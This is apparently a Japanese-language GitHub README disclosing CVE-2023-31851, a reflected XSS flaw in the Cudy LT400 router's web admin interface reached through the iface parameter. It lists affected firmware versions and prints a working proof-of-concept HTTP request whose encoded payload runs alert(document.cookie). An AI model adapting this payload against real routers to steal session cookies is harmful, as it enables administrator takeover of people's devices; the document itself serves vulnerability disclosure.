calfcrusher/cve-2023-31851# Cudy LT400 Webインターフェースにおける反射型XSSの概念実証 Cudy LT400 Webインターフェースにおける反射型XSSの概念実証であり、巧妙に細工されたリクエストによるセッションCookieの窃取と管理者権限の乗っ取りを実証します。
Cudy LT400 の Web ベース管理インターフェースに、リフレクション型クロスサイトスクリプティング（XSS）攻撃が存在します。
ページ /cgi-bin/luci/admin/network/wireless/status には、iface パラメータを介したリフレクション型 XSS があります。
攻撃手法は、悪意のあるコードを含む特別に細工されたリクエストを被害者に送信することを伴います。
影響を受けるアプリケーションは、Session Cookie に HttpOnly 属性を設定していません。これにより、セッショントークンの窃取を介した管理者権限の乗っ取りが発生する可能性があります。
影響を受けるファームウェアバージョン: 1.13.4 - 1.15.18 - 1.15.27
GET /cgi-bin/luci/admin/network/wireless/status?iface=wlan00%22%29%27%20href%3D%22javascript%3Aalert%28document.cookie%29%3B%22%3Exss%3C%2Fa%3E HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology